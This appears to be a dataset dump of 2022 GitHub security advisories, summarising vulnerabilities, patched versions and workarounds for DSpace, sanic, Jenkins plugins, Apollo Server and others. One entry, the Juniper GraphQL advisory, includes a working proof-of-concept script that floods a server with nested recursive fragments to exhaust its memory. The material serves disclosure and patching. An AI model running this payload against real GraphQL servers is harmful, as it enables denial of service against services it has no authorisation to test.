aswin1906/github-advisory-2022 huggingface dataset:
XMLUI's metadata of withdrawn Items is exposed to anonymous users
Advisory: GHSA-7w85-pp86-p4pq
Aliases: CVE-2022-31190
Published: 2022-08-06T05:40:16Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

### Impact
Metadata on a withdrawn Item is exposed via the XMLUI "mets.xml" object, as long as you know the handle/URL of the withdrawn Item. This vulnerability only impacts the XMLUI.

However, this vulnerability is very low severity as Item metadata does not tend to contain highly secure or sensitive information.

_This vulnerability does NOT impact the JSPUI or 7.x._

### Patches

Because of the low severity of this security issue, it requires updating to 6.4 to resolve.  _No patch is available for 5.x or below._

_DSpace 6.x:_
* Fixed in 6.4 via #2451 
* 6.x patch file: https://github.com/DSpace/DSpace/commit/574e25496a40173653ae7d0a49a19ed8e3458606.patch (may be applied manually if an immediate upgrade to 6.4 or above is not possible)

#### Apply the patch to your DSpace
If at all possible, we recommend upgrading your DSpace site based on the upgrade instructions. However, if you are unable to do so, you can manually apply the above patches as follows:
1. Download the appropriate patch file to the machine where DSpace is running
2. From the `[dspace-src]` folder, apply the patch, e.g. `git apply [name-of-file].patch`
3. Now, update your DSpace site (based loosely on the Upgrade instructions). This generally involves three steps:
    1. Rebuild DSpace, e.g. `mvn -U clean package`  (This will recompile all DSpace code)
    2. Redeploy DSpace, e.g. `ant update`  (This will copy all updated WARs / configs to your installation directory). Depending on your setup you also may need to copy the updated WARs over to your Tomcat webapps folder.
    3. Restart Tomcat

### Workaround

If there are any withdrawn items which are known to have highly secure information in their metadata, they can be permanently deleted. This will ensure their secure metadata is inaccessible & removed from the system entirely.

### References
Discovered & reported by David Cavrenne of Atmire

### For more information
If you have any questions or comments about this advisory:
* Email us at security@dspace.org
mofh Vulnerable to Improper Restriction of XML External Entity Reference
Advisory: GHSA-7r9x-qrpr-3cxw
Published: 2022-08-11T18:06:05Z

The `xml.etree.ElementTree` module that mofh used up until version `1.0.1` implements a simple and efficient API for parsing and creating XML data. But it makes the application vulnerable to:

- [Billion Laughs attack](https://en.wikipedia.org/wiki/Billion_laughs_attack): It is a type of denial-of-service attack aimed at XML parsers. It uses multiple levels of nested entities. If one large entity is repeated with a couple of thousand chars repeatedly, the parser gets overwhelmed.  
- [Quadratic blowup attack](https://www.acunetix.com/vulnerabilities/web/xml-quadratic-blowup-denial-of-service-attack/): It is similar to a Billion Laughs attack. It abuses entity expansion, too. Instead of nested entities, it repeats one large entity with a couple of thousand chars repeatedly.

The Problem has been patched starting from version `1.0.1` by utilising the `defusedxml` package instead of `xml.etree.ElementTree`.

### Workarounds
For this vulnerability to be exploited the user must be using a custom API URL, which has to be manually given using the `api_url` argument, or MyOwnFreeHost's API must be hacked. So, if the user did not use a custom API URL they _should_ be fine, however, upgrading is still advised.

Another workaround could be to call `defusedxml.defuse_stdlib()` before making any requests using the client.
sanic vulnerable to Path Traversal when using `app.static` if using encoded `%2F` URLs
Advisory: GHSA-8cw9-5hmv-77w6
Aliases: CVE-2022-35920
Published: 2022-08-06T05:21:19Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L

### Impact
Access to lateral directories when using `app.static` if using encoded `%2F` URLs. Parent directory traversal is not impacted.

### Patches
- v20.12.7 (LTS)
- v21.12.2 (LTS)
- v22.6.1

### References
https://github.com/sanic-org/sanic/issues/2478
https://github.com/sanic-org/sanic/pull/2495

### For more information
If you have any questions or comments about this advisory:
* Open an issue in [the community forums](https://community.sanicframework.org/)
* Ping us on [the Discord server](https://discord.gg/FARQzAEMAA)
exceedone/exment and exceedone/laravel-admin Cross-site Scripting vulnerability
Advisory: GHSA-8629-83m5-rj75
Aliases: CVE-2022-38080
Published: 2022-08-25T00:00:29Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

Reflected cross-site scripting vulnerability in Exment ((PHP8) exceedone/exment v5.0.2 and earlier and exceedone/laravel-admin v3.0.0 and earlier, (PHP7) exceedone/exment v4.4.2 and earlier and exceedone/laravel-admin v2.2.2 and earlier) allows a remote authenticated attacker to inject an arbitrary script.
gomatrixserverlib and Dendrite vulnerable to incorrect parsing of the event default power level in event auth
Advisory: GHSA-grvv-h2f9-7v9c
Aliases: CVE-2022-36009
Published: 2022-08-30T19:54:34Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L

### Impact

The power level parsing within gomatrixserverlib was failing to parse the `"events_default"` key of the `m.room.power_levels` event, defaulting the event default power level to zero in all cases.

In rooms where the `"events_default"` power level had been changed, this could result in events either being incorrectly authorised or rejected by Dendrite servers.

### Patches

gomatrixserverlib contains a fix as of commit `723fd49` and Dendrite 0.9.3 has been updated accordingly.

### Workarounds

Matrix rooms where the `"events_default"` power level has not been changed from the default of zero are not vulnerable.

### For more information

If you have any questions or comments about this advisory, e-mail us at [security@matrix.org](mailto:security@matrix.org).
Apache JSPWiki XSS due to crafted request on XHRHtml2Markup.jsp
Advisory: GHSA-2fxf-qj94-3f83
Aliases: CVE-2022-27166
Published: 2022-08-05T00:00:31Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

A carefully crafted request on XHRHtml2Markup.jsp could trigger an XSS vulnerability on Apache JSPWiki up to and including 2.11.2, which could allow the attacker to execute javascript in the victim's browser and get some sensitive information about the victim. Version 2.11.3 contains a fix for the problem
apollo-server-core vulnerable to URL-based XSS attack affecting IE11 on default landing page
Advisory: GHSA-2fvv-qxrq-7jq6
Published: 2022-08-18T18:55:01Z

### Impact

The default landing page contained HTML to display a sample `curl` command which is made visible if the full landing page bundle could not be fetched from Apollo's CDN. The server's URL is directly interpolated into this command inside the browser from `window.location.href`. On some older browsers such as IE11, this value is not URI-encoded. On such browsers, opening a malicious URL pointing at an Apollo Router could cause execution of attacker-controlled JavaScript.

This only affects Apollo Server with the [default landing page](https://www.apollographql.com/docs/apollo-server/api/plugin/landing-pages/) enabled. Old browsers visiting your server may be affected if ANY of these apply:
- You do not pass any landing page plugin to the `plugins` option of `new ApolloServer`.
- You pass `ApolloServerPluginLandingPageLocalDefault()` or `ApolloServerPluginLandingPageProductionDefault()` to the `plugins` option of `new ApolloServer`.

Browsers visiting your server are NOT affected if ANY of these apply:
- You pass `ApolloServerPluginLandingPageDisabled()` to the `plugins` option of `new ApolloServer`.
- You pass `ApolloServerPluginLandingPageGraphQLPlayground()` to the `plugins` option of `new ApolloServer`.
- You pass a custom plugin implementing the `renderLandingPage` hook to the `plugins` option of `new ApolloServer`.

This issue was introduced in v3.0.0 when the landing page feature was added.

### Patches
To avoid this, the sample `curl` command has been removed in release 3.10.1.

### Workarounds

Disabling the landing page removes the possibility of exploit:

```ts
import { ApolloServerPluginLandingPageDisabled } from 'apollo-server-core';

new ApolloServer({
  plugins: [ApolloServerPluginLandingPageDisabled()],
  // ...
});
```

### See also
A similar issue exists in the landing page of Apollo Router. See the corresponding [Apollo Router security advisory](https://github.com/apollographql/router/security/advisories/GHSA-p5q6-hhww-f999).

### For more information
If you have any questions or comments about this advisory:
* Open an issue in [the Apollo Server repository](https://github.com/apollographql/apollo-server/)
* Email us at [security@apollographql.com](mailto:security@apollographql.com)

### Credits

This issue was discovered by Adrian Denkiewicz of [Doyensec](https://doyensec.com/research.html).
Apache JSPWiki XSS due to crafted request in WeblogPlugin
Advisory: GHSA-hph8-29xw-qfxx
Aliases: CVE-2022-28732
Published: 2022-08-05T00:00:30Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

A carefully crafted request on WeblogPlugin could trigger an XSS vulnerability on Apache JSPWiki, which could allow the attacker to execute javascript in the victim's browser and get some sensitive information about the victim. Apache JSPWiki users should upgrade to 2.11.3 or later.
Cockpit Content Platform vulnerable to 2FA bypass
Advisory: GHSA-8wj3-cpmr-8whp
Aliases: CVE-2022-2818
Published: 2022-08-16T00:00:30Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Cockpit Content Platform through version 2.2.1 is vulnerable to a two-factor authentication (2FA) bypass. The 2FA secret is disclosed in a JWT token after user logs into their account, allowing an attacker to bypass the 2FA code. A patch is available on the `develop` branch and is expected to be part of version 2.2.2.
JSPUI's controlled vocabulary feature vulnerable to Open Redirect before v6.4 and v5.11
Advisory: GHSA-763j-q7wv-vf3m
Aliases: CVE-2022-31193
Published: 2022-08-06T05:46:49Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L

### Impact
The JSPUI controlled vocabulary servlet is vulnerable to an open redirect attack, where an attacker can craft a malicious URL that looks like a legitimate DSpace/repository URL.  When that URL is clicked by the target, it redirects them to a site of the attacker's choice.

_This vulnerability does NOT impact the XMLUI or 7.x._

### Patches
_DSpace 6.x:_
* Fixed in 6.x via commit: https://github.com/DSpace/DSpace/commit/f7758457b7ec3489d525e39aa753cc70809d9ad9
* 6.x patch file: https://github.com/DSpace/DSpace/commit/f7758457b7ec3489d525e39aa753cc70809d9ad9.patch (may be applied manually if an immediate upgrade to 6.4 or above is not possible)

_DSpace 5.x:_
* Fixed in 5.x via commit: https://github.com/DSpace/DSpace/commit/5f72424a478f59061dcc516b866dcc687bc3f9de
* 5.x patch file: https://github.com/DSpace/DSpace/commit/5f72424a478f59061dcc516b866dcc687bc3f9de.patch (may be applied manually if an immediate upgrade to 5.11 or 6,4 or above is not possible)

#### Apply the patch to your DSpace
If at all possible, we recommend upgrading your DSpace site based on the upgrade instructions. However, if you are unable to do so, you can manually apply the above patches as follows:
1. Download the appropriate patch file to the machine where DSpace is running
2. From the `[dspace-src]` folder, apply the patch, e.g. `git apply [name-of-file].patch`
3. Now, update your DSpace site (based loosely on the Upgrade instructions). This generally involves three steps:
    1. Rebuild DSpace, e.g. `mvn -U clean package`  (This will recompile all DSpace code)
    2. Redeploy DSpace, e.g. `ant update`  (This will copy all updated WARs / configs to your installation directory). Depending on your setup you also may need to copy the updated WARs over to your Tomcat webapps folder.
    3. Restart Tomcat

### References
Discovered and reported by Johannes Moritz of Ripstech.

### For more information
If you have any questions or comments about this advisory:
* Email us at security@dspace.org
Keycloak vulnerable to Improper Certificate Validation
Advisory: GHSA-rpj2-w6fr-79hc
Aliases: CVE-2020-35509
Published: 2022-08-24T00:00:29Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N

keycloak accepts an expired certificate by the direct-grant authenticator because of missing time stamp validations. The highest threat from this vulnerability is to data confidentiality and integrity.

This issue was partially fixed in version [13.0.1](https://github.com/keycloak/keycloak/pull/6330) and more completely fixed in version [14.0.0](https://github.com/keycloak/keycloak/pull/8067).
SQL injection in jflyfox jfinal
Advisory: GHSA-wv39-f3vx-3v6q
Aliases: CVE-2022-37223
Published: 2022-08-24T00:00:29Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

JFinal CMS 5.1.0 is vulnerable to SQL Injection via /jfinal_cms/system/role/list.
curljs Command Injection vulnerability
Advisory: GHSA-cqfc-9452-r36j
Aliases: CVE-2020-28425
Published: 2022-08-03T00:00:57Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

A command injection vulnerability affects all versions of the package curljs.
image-tiler susceptible to command injection
Advisory: GHSA-mrxv-pr4h-963q
Aliases: CVE-2020-28451
Published: 2022-08-03T00:00:57Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

A command injection vulnerability affects the package image-tiler before version 2.0.2.
Cross site scripting in yetiforce/yetiforce-crm
Advisory: GHSA-jhxh-68jj-68c7
Aliases: CVE-2022-2890
Published: 2022-08-23T00:00:16Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

Cross-site Scripting (XSS) - Stored in GitHub repository yetiforcecompany/yetiforcecrm prior to 6.4.0.
Jfinal Cross-site Scripting vulnerability
Advisory: GHSA-34j6-m83c-52x2
Aliases: CVE-2022-36527
Published: 2022-08-26T00:03:30Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

Jfinal CMS v5.1.0 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the post title text field under the publish blog module.
Bots using py-cord as Discord API wrapper are vulnerable to shutdowns through remote code execution
Advisory: GHSA-qmhj-m29v-gvmr
Aliases: CVE-2022-36024
Published: 2022-08-18T14:18:37Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

### Impact
py-cord is a an API wrapper for Discord written in Python. Bots using py-cord version 2.0.0 are vulnerable to remote shutdown if they are added to the server with the `application.commands` scope without the `bot` scope. Currently, it appears that all public bots that use slash commands are affected.

### Patches
This issue has been patched in version 2.0.1.

### Workarounds
There are currently no recommended workarounds - please upgrade to a patched version.

### References
https://github.com/Pycord-Development/pycord/pull/1568

### For more information
If you have any questions or comments about this advisory:
* Open an issue in [our GitHub](https://github.com/Pycord-Development/pycord)
* Email us at [support@pycord.dev](mailto:support@pycord.dev)
@actions/core has Delimiter Injection Vulnerability in exportVariable
Advisory: GHSA-7r3h-m5j6-3q42
Aliases: CVE-2022-35954
Published: 2022-08-18T19:01:36Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:L/A:N

## Impact

The `core.exportVariable` function uses a well known delimiter that attackers can use to break out of that specific variable and assign values to other arbitrary variables. Workflows that write untrusted values to the `GITHUB_ENV` file may cause the path or other environment variables to be modified without the intention of the workflow or action author.

## Patches

Users should upgrade to `@actions/core v1.9.1`.

## Workarounds

If you are unable to upgrade the `@actions/core` package, you can modify your action to ensure that any user input does not contain the delimiter `_GitHubActionsFileCommandDelimeter_` before calling `core.exportVariable`.

## References

[More information about setting-an-environment-variable in workflows](https://docs.github.com/en/actions/using-workflows/workflow-commands-for-github-actions#setting-an-environment-variable)

If you have any questions or comments about this advisory:
* Open an issue in [`actions/toolkit`](https://github.com/actions/toolkit/issues)
snyk-broker Path Traversal before v4.73.0
Advisory: GHSA-gq75-5gc3-rfwg
Aliases: CVE-2020-7649
Published: 2022-07-26T00:01:05Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N

This affects the package snyk-broker before 4.73.0. It allows arbitrary file reads for users with access to Snyk's internal network via directory traversal.
Argo CD SSO users vulnerable to Cross-site Scripting
Advisory: GHSA-pmjg-52h9-72qv
Aliases: CVE-2022-31102
Published: 2022-07-12T22:11:16Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:C/C:N/I:L/A:N

### Impact

All versions of Argo CD starting with 2.3.0 are vulnerable to a cross-site scripting (XSS) bug which could allow an attacker to inject arbitrary JavaScript in the `/auth/callback` page in a victim's browser. 

This vulnerability only affects Argo CD instances which have SSO enabled.

The exploit also assumes the attacker has 1) access to the API server's encryption key, 2) a method to add a cookie to the victim's browser, and 3) the ability to convince the victim to visit a malicious `/auth/callback` link.

The vulnerability is classified as low severity, because access to the API server's encryption key already grants a high level of access. Exploiting the XSS would allow the attacker to impersonate the victim, but would not grant any privileges which the attacker could not otherwise gain using the encryption key.

### Patches

A patch for this vulnerability has been released in the following Argo CD versions:

* v2.4.5
* v2.3.6

### Workarounds

There is no workaround besides upgrading.

### Credits

Disclosed by ADA Logics in a security audit of the Argo project sponsored by CNCF and facilitated by OSTIF. Thanks to Adam Korczynski and David Korczynski for their work on the audit.

### For more information

* Open an issue in [the Argo CD issue tracker](https://github.com/argoproj/argo-cd/issues) or [discussions](https://github.com/argoproj/argo-cd/discussions)
* Join us on [Slack](https://argoproj.github.io/community/join-slack) in channel #argo-cd
Jenkins HashiCorp Vault Plugin does not perform permission checks in several HTTP endpoints that perform Vault connection tests
Advisory: GHSA-vpf7-q2rx-26mh
Aliases: CVE-2022-36888
Published: 2022-07-28T00:00:43Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:N

A missing permission check in Jenkins HashiCorp Vault Plugin 354.vdb_858fd6b_f48 and earlier allows attackers with Overall/Read permission to obtain credentials stored in Vault with attacker-specified path and keys.
Dataease before 1.11.2 allows arbitrary code execution via crafter plugin
Advisory: GHSA-5469-c5p2-xv5g
Aliases: CVE-2022-34113
Published: 2022-07-23T00:00:15Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

An issue in the component /api/plugin/upload of Dataease v1.11.1 allows attackers to execute arbitrary code via a crafted plugin. Version 1.11.2 contains a patch for the problem.
Plaintext Storage of a Password in Jenkins Jigomerge Plugin
Advisory: GHSA-h5g3-v72x-hc6f
Aliases: CVE-2022-34806
Published: 2022-07-01T00:01:08Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

Jenkins Jigomerge Plugin 0.9 and earlier stores passwords unencrypted in job `config.xml` files on the Jenkins controller where they can be viewed by users with Extended Read permission, or access to the Jenkins controller file system.
Jenkins Git client plugin 3.11.0 does not perform SSH host key verification
Advisory: GHSA-cm7j-p8hc-97vj
Aliases: CVE-2022-36881
Published: 2022-07-28T00:00:43Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N

Jenkins Git client plugin 3.11.0 and earlier does not perform SSH host key verification when connecting to Git repositories via SSH, enabling man-in-the-middle attacks. Git client Plugin 3.11.1 provides strategies for performing host key verification for administrators to select the one that meets their security needs. For more information see [the plugin documentation](https://github.com/jenkinsci/git-client-plugin#ssh-host-key-verification).
Juniper is vulnerable to @DOS GraphQL Nested Fragments overflow
Advisory: GHSA-4rx6-g5vg-5f3j
Aliases: CVE-2022-31173
Published: 2022-07-29T22:29:22Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

### GraphQL behaviour

Nested fragment in GraphQL might be quite hard to handle depending on the implementation language.
Some language support natively a max recursion depth. However, on most compiled languages, you should add a threshold of recursion.

```graphql
# Infinite loop example
query {
    ...a
}

fragment a on Query {
    ...b
}

fragment b on Query {
    ...a
}
```

### POC TLDR
With max_size being the number of nested fragment generated.
At max_size=7500, it should instantly raise:

![](https://i.imgur.com/wXbUx8l.png)

However, with a lower size, you will overflow the memory after some iterations.

### Reproduction steps (Juniper)

```
git clone https://github.com/graphql-rust/juniper.git
cd juniper
```

Save this POC as poc.py

```python
import requests
import time
import json
from itertools import permutations

print('=== Fragments POC ===')

url = 'http://localhost:8080/graphql'

max_size = 7500
perms = [''.join(p) for p in permutations('abcefghijk')]
perms = perms[:max_size]

fragment_payloads = ''
for i, perm in enumerate(perms):
    next_perm = perms[i+1] if i < max_size-1 else perms[0]
    fragment_payloads += f'fragment {perm} on Query' + '{' f'...{next_perm}' + '}'

payload = {'query':'query{\n  ...' + perms[0] + '\n}' + fragment_payloads,'variables':{},'operationName':None}

headers = {
  'Content-Type': 'application/json',
}

try:
    response = requests.request('POST', url, headers=headers, json=payload)
    print(response.text)
except requests.exceptions.ConnectionError:
    print('Connection closed, POC worked.')
```

```
cargo run
[in separate shell] python3 poc.py
```

### Credits

[@Escape-Technologies](https://escape.tech)

@c3b5aw 
@MdotTIM 
@karimhreda
deferred-exec Command Injection vulnerability
Advisory: GHSA-54w4-2f2p-f48h
Aliases: CVE-2020-28438
Published: 2022-07-26T00:01:06Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

A command injection vulnerability affects all versions of package deferred-exec. The injection point is located in line 42 in lib/deferred-exec.js
Cilium host policy bypass in endpoint-routes mode with dual-stack
Advisory: GHSA-wc5v-r48v-g4vh
Published: 2022-07-15T21:46:51Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L

### Impact

This vulnerability allows bypassing host policies for IPv6 traffic coming from a Cilium-managed pod and destined to the host-network namespace (e.g., to a host-network pod). Host policy enforcement on IPv4 or for traffic coming from outside the node is not affected.

Cilium is only affected by this vulnerability if IPv4, IPv6, endpoint routes, and the host firewall are enabled. Note that endpoint routes are typically only enabled in GKE, EKS, AKS, and OpenShift; in those environments, IPv6 is typically disabled. Host firewall is disabled by default.

### Patches

The bug is fixed in versions v1.10.13 and v1.11.7 of Cilium.

### Workarounds

For affected users who can't upgrade, one potential workaround is to ensure all pods have network policies that prevent sending arbitrary traffic to the local node.

### References

Commit fixing the vulnerability: https://github.com/cilium/cilium/commit/c758da7e9d19cd19b96dc90424c0b5ec7409cd0a.

### For more information

If you have any questions or comments about this advisory, please reach out on [Slack](https://docs.cilium.io/en/latest/community/community/#slack).

As usual, if you think you found a related vulnerability, we strongly encourage you to report security vulnerabilities to our private security mailing list: [security@cilium.io](mailto:security@cilium.io)—first, before disclosing them in any public forums. This is a private mailing list where only members of the Cilium internal security team are subscribed to, and is treated as top priority.
vm2 before 3.6.11 vulnerable to sandbox escape
Advisory: GHSA-wf5x-cr3r-xr77
Aliases: CVE-2019-10761
Published: 2022-07-14T00:00:23Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L

This affects the package vm2 before 3.6.11. It is possible to trigger a RangeError exception from the host rather than the "sandboxed" context by reaching the stack call limit with an infinite recursion. The returned object is then used to reference the mainModule property of the host code running the script allowing it to spawn a child_process and execute arbitrary code.
Potential double free of buffer during string decoding
Advisory: GHSA-fm67-cv37-96ff
Aliases: CVE-2022-31117
Published: 2022-07-05T21:05:59Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H

### Impact
_What kind of vulnerability is it? Who is impacted?_

When an error occurs while reallocating the buffer for string decoding, the buffer gets freed twice.

Due to how UltraJSON uses the internal decoder, this double free is impossible to trigger from Python.

### Patches
_Has the problem been patched? What versions should users upgrade to?_

Users should upgrade to UltraJSON 5.4.0.

### Workarounds
_Is there a way for users to fix or remediate the vulnerability without upgrading?_

There is no workaround.

### For more information
If you have any questions or comments about this advisory:
* Open an issue in [UltraJSON](http://github.com/ultrajson/ultrajson/issues)
Jetty invalid URI parsing may produce invalid HttpURI.authority
Advisory: GHSA-cj7v-27pg-wf7q
Aliases: CVE-2022-2047
Published: 2022-07-07T20:55:34Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:L/A:N

### Description
URI use within Jetty's `HttpURI` class can parse invalid URIs such as `http://localhost;/path` as having an authority with a host of `localhost;`.

A URIs of the type `http://localhost;/path` should be interpreted to be either invalid or as `localhost;` to be the userinfo and no host.
However, `HttpURI.host` returns `localhost;` which is definitely wrong.

### Impact
This can lead to errors with Jetty's `HttpClient`, and Jetty's `ProxyServlet` / `AsyncProxyServlet` / `AsyncMiddleManServlet` wrongly interpreting an authority with no host as one with a host.

### Patches
Patched in PR [#8146](https://github.com/eclipse/jetty.project/pull/8146) for Jetty version 9.4.47.
Patched in PR [#8014](https://github.com/eclipse/jetty.project/pull/8015) for Jetty versions 10.0.10, and 11.0.10

### Workarounds
None.

### For more information
If you have any questions or comments about this advisory:
* Email us at security@webtide.com.
Slack Morphism for Rust before 0.41.0 can leak Slack OAuth client information in application debug logs
Advisory: GHSA-99j7-mhfh-w84p
Aliases: CVE-2022-31162
Published: 2022-07-20T01:30:21Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

### Impact
Potential/accidental leaking of Slack OAuth client information in application debug logs.

### Patches
More strict and secure debug formatting was introduced in v0.41 for OAuth secret types to avoid the possibility of printing sensitive information in application logs.

### Workarounds
Don't print/output in logs request and responses for OAuth and client configurations.

### For more information
If you have any questions or comments about this advisory:
* Open an issue in the [repo](https://github.com/abdolence/slack-morphism-rust)
* Email us at [me@abdolence.dev](mailto:me@abdolence.dev)
llhttp allows HTTP Request Smuggling via Improper Delimiting of Header Fields
Advisory: GHSA-q5vx-44v4-gch4
Aliases: CVE-2022-32214
Published: 2022-07-15T00:00:18Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

The llhttp parser in the http module in Node.js does not strictly use the CRLF sequence to delimit HTTP requests. The LF character (without CR) is sufficient to delimit HTTP header fields in the lihttp parser. According to RFC7230 section 3, only the CRLF sequence should delimit each header-field. This can lead to HTTP Request Smuggling (HRS).
Jenkins Buckminster Plugin does not perform a permission check in a method implementing form validation
Advisory: GHSA-79x9-477g-w256
Aliases: CVE-2022-36918
Published: 2022-07-28T00:00:42Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

Jenkins Buckminster Plugin 1.1.1 and earlier does not perform a permission check in a method implementing form validation, allowing attackers with Overall/Read permission to check for the existence of an attacker-specified file path on the Jenkins controller file system.
mat2 before 0.13.0 allows directory traversal during the ZIP archive cleaning process.
Advisory: GHSA-f33p-9287-h552
Aliases: CVE-2022-35410
Published: 2022-07-12T18:15:29Z

mat2 (aka metadata anonymisation toolkit) before 0.13.0 allows ../ directory traversal during the ZIP archive cleaning process. This primarily affects mat2 web instances, in which clients could obtain sensitive information via a crafted archive.
Snipe-IT 6.0.2 vulnerable to Cross-site Scripting
Advisory: GHSA-xwqx-x38c-cw95
Aliases: CVE-2022-32061
Published: 2022-07-08T00:00:42Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N

An arbitrary file upload vulnerability in the Select User function under the People Menu component of Snipe-IT v6.0.2 allows attackers to execute arbitrary code via a crafted file.
Jenkins Project Inheritance Plugin vulnerable to cross site scripting
Advisory: GHSA-3hx4-285w-v6mm
Aliases: CVE-2022-34787
Published: 2022-07-01T00:01:07Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H

Jenkins Project Inheritance Plugin 21.04.03 and earlier does not escape the reason a build is blocked in tooltips, resulting in a cross-site scripting (XSS) vulnerability exploitable by attackers able to control the reason a queue item is blocked.
Dompdf before v2.0.0 vulnerable to chroot check bypass
Advisory: GHSA-5qj8-6xxj-hp9h
Aliases: CVE-2022-2400
Published: 2022-07-19T00:00:26Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Dompdf prior to version 2.0.0 is vulnerable to a chroot check bypass, which could cause disclosure of png and jpeg files.
thenify before 3.3.1 made use of unsafe calls to `eval`.
Advisory: GHSA-29xr-v42j-r956
Aliases: CVE-2020-7677
Published: 2022-07-18T19:15:29Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Versions of thenify prior to 3.3.1 made use of unsafe calls to `eval`. Untrusted user input could thus lead to arbitrary code execution on the host. The patch in version 3.3.1 removes calls to `eval`.
fabric8 kubernetes-client vulnerable 
Advisory: GHSA-98g7-rxmf-rrxm
Aliases: CVE-2021-4178
Published: 2022-07-15T05:17:35Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

fabric8 Kubernetes client had an arbitrary code execution flaw in versions 5.0.0-beta-1 and higher. Attackers could potentially insert malicious YAMLs due to misconfigured YAML parsing.
Command injection in git-clone
Advisory: GHSA-8jmw-wjr8-2x66
Aliases: CVE-2022-25900
Published: 2022-07-02T00:00:19Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

All versions of package git-clone are vulnerable to Command Injection due to insecure usage of the `--upload-pack` feature of git.

## Credits

Credit to @lirantal for discovering this vulnerability.
Missing permission check in Jenkins OpenShift Deployer Plugin
Advisory: GHSA-jvjh-9r4q-8q5q
Aliases: CVE-2022-36907
Published: 2022-07-28T00:00:42Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

OpenShift Deployer Plugin 1.2.0 and earlier does not perform a permission check in a method implementing form validation.

This allows attackers with Overall/Read permission to connect to an attacker-specified URL using attacker-specified username and password.
Togglz console missing cross-site request forgery (CSRF) protection
Advisory: GHSA-697v-pxg3-j262
Aliases: CVE-2020-28191
Published: 2022-07-15T20:55:21Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Togglz is an implementation of the Feature Toggles pattern for Java. There is no CSRF protection in the togglz console and could allow an attacker to guess the CSRF token value. Version 2.9.4 adds the necessary CSRF protection.
Cross-site Scripting in Jenkins TestNG Results Plugin
Advisory: GHSA-8hv7-4vfc-w8pg
Aliases: CVE-2022-34778
Published: 2022-07-01T00:01:07Z
Severity: type: CVSS_V3
